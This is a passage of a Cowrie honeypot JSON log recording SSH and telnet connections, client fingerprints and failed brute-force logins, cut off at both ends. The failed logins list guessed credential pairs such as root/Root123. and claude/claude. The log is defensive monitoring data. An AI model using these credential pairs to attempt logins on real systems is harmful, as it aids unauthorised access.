@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:27.102138Z","src_ip":"43.153.12.68","session":"de479142317b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123.","message":"login attempt [root/Root123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:27.409800Z","src_ip":"43.153.12.68","session":"de479142317b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:28.480788Z","src_ip":"43.153.12.68","session":"de479142317b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57246,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcdbc86620b8","protocol":"ssh","message":"New connection: 27.71.230.31:57246 (10.17.0.5:22) [session: bcdbc86620b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:31.723927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:31.742606Z","src_ip":"27.71.230.31","session":"bcdbc86620b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:31.983603Z","src_ip":"27.71.230.31","session":"bcdbc86620b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.84.229.102","src_port":54586,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ecd3ce0018","protocol":"ssh","message":"New connection: 47.84.229.102:54586 (10.17.0.5:22) [session: 32ecd3ce0018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:35.423775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:35.428150Z","src_ip":"47.84.229.102","session":"32ecd3ce0018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e1ad4e4aa69a43c843e10eeec3e1c880","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-dss","ecdsa-sha2-nistp256","sk-ecdsa-sha2-nistp256@openssh.com","ecdsa-sha2-nistp384","ecdsa-sha2-nistp512","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","diffie-hellman-group-exchange-sha256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e1ad4e4aa69a43c843e10eeec3e1c880","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:35.669004Z","src_ip":"47.84.229.102","session":"32ecd3ce0018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.397719383239746,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:35.686275Z","src_ip":"128.199.8.54","session":"76b71d8a562d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:35.920550Z","src_ip":"47.84.229.102","session":"32ecd3ce0018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38728,"dst_ip":"10.17.0.5","dst_port":22,"session":"160e0cd662c9","protocol":"ssh","message":"New connection: 165.154.137.186:38728 (10.17.0.5:22) [session: 160e0cd662c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:36.533852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:36.538327Z","src_ip":"165.154.137.186","session":"160e0cd662c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:36.850761Z","src_ip":"165.154.137.186","session":"160e0cd662c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1@admin","message":"login attempt [root/1@admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:37.630818Z","src_ip":"27.71.230.31","session":"bcdbc86620b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:38.030195Z","src_ip":"165.154.137.186","session":"160e0cd662c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:39.287331Z","src_ip":"165.154.137.186","session":"160e0cd662c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:39.344350Z","src_ip":"27.71.230.31","session":"bcdbc86620b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52836,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cb77bac1c1b","protocol":"ssh","message":"New connection: 165.154.137.186:52836 (10.17.0.5:22) [session: 9cb77bac1c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:44.156136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:44.164992Z","src_ip":"165.154.137.186","session":"9cb77bac1c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:44.411224Z","src_ip":"165.154.137.186","session":"9cb77bac1c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:45.447843Z","src_ip":"165.154.137.186","session":"9cb77bac1c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:46.699064Z","src_ip":"165.154.137.186","session":"9cb77bac1c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.44250416755676,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:51.524617Z","src_ip":"107.6.151.170","session":"4daf88238ee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.20116329193115,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:52.292396Z","src_ip":"107.6.151.170","session":"224ac5bbbf22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33516,"dst_ip":"159.203.135.109","dst_port":23,"session":"363b50d10a27","protocol":"telnet","message":"New connection: 172.81.62.90:33516 (159.203.135.109:23) [session: 363b50d10a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:57:58.471835Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52258,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a832641eece","protocol":"ssh","message":"New connection: 165.154.137.186:52258 (10.17.0.5:22) [session: 3a832641eece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:01.269844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:01.277741Z","src_ip":"165.154.137.186","session":"3a832641eece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:01.532586Z","src_ip":"165.154.137.186","session":"3a832641eece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:02.295460Z","src_ip":"165.154.137.186","session":"3a832641eece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:03.550119Z","src_ip":"165.154.137.186","session":"3a832641eece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52474,"dst_ip":"10.17.0.5","dst_port":22,"session":"369779ebc0ba","protocol":"ssh","message":"New connection: 165.154.137.186:52474 (10.17.0.5:22) [session: 369779ebc0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:17.164510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:17.168119Z","src_ip":"165.154.137.186","session":"369779ebc0ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:17.443881Z","src_ip":"165.154.137.186","session":"369779ebc0ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:18.274532Z","src_ip":"165.154.137.186","session":"369779ebc0ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:19.553108Z","src_ip":"165.154.137.186","session":"369779ebc0ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.53474998474121,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:37.006448Z","src_ip":"172.81.62.90","session":"363b50d10a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52814,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ae8a91690d2","protocol":"ssh","message":"New connection: 165.154.137.186:52814 (10.17.0.5:22) [session: 1ae8a91690d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:47.338432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:47.343520Z","src_ip":"165.154.137.186","session":"1ae8a91690d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:47.598688Z","src_ip":"165.154.137.186","session":"1ae8a91690d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:48.367907Z","src_ip":"165.154.137.186","session":"1ae8a91690d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:49.624578Z","src_ip":"165.154.137.186","session":"1ae8a91690d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59274,"dst_ip":"159.203.135.109","dst_port":22,"session":"edd715a12f13","protocol":"ssh","message":"New connection: 27.71.230.31:59274 (159.203.135.109:22) [session: edd715a12f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:51.361349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:51.477643Z","src_ip":"27.71.230.31","session":"edd715a12f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":48404,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4b278be710d","protocol":"ssh","message":"New connection: 38.148.249.2:48404 (10.17.0.5:22) [session: e4b278be710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:53.502653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:53.521289Z","src_ip":"38.148.249.2","session":"e4b278be710d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ec